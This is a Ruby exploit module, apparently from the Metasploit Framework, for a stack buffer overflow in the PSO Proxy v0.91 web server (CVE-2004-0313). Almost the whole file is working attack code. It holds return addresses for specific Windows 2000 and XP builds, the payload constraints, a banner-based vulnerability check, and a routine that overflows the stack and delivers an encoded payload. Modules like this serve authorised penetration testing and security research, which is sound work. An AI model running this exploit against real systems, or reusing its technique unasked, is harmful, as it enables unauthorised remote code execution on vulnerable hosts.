metasploit-framework/modules/exploits/windows/http/psoproxy91_overflow.rb

81 lines
2.3 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'PSO Proxy v0.91 Stack Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the PSO Proxy v0.91 web server.
If a client sends an excessively long string the stack is overwritten.
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2004-0313' ],
[ 'OSVDB', '4028' ],
[ 'EDB', '156' ],
[ 'BID', '9706' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 370,
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
# Patrick - Tested OK 2007/09/06 against w2ksp0, w2ksp4, xpsp0,xpsp2 en.
[ 'Windows 2000 Pro SP0-4 English', { 'Ret' => 0x75023112 } ], # call ecx ws2help.dll
[ 'Windows 2000 Pro SP0-4 French', { 'Ret' => 0x74fa3112 } ], # call ecx ws2help.dll
[ 'Windows 2000 Pro SP0-4 Italian', { 'Ret' => 0x74fd3112 } ], # call ecx ws2help.dll
[ 'Windows XP Pro SP0/1 English', { 'Ret' => 0x71aa396d } ], # call ecx ws2help.dll
[ 'Windows XP Pro SP2 English', { 'Ret' => 0x71aa3de3 } ], # call ecx ws2help.dll
],
'Privileged' => false,
'DisclosureDate' => 'Feb 20 2004'
))
register_options(
[
Opt::RPORT(8080),
], self.class)
end
def check
connect
sock.put("GET / HTTP/1.0\r\n\r\n")
banner = sock.get_once
if (banner.to_s =~ /PSO Proxy 0\.9/)
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
connect
exploit = rand_text_alphanumeric(1024, payload_badchars)
exploit += [target['Ret']].pack('V') + payload.encoded
sock.put(exploit + "\r\n\r\n")
disconnect
handler
end
end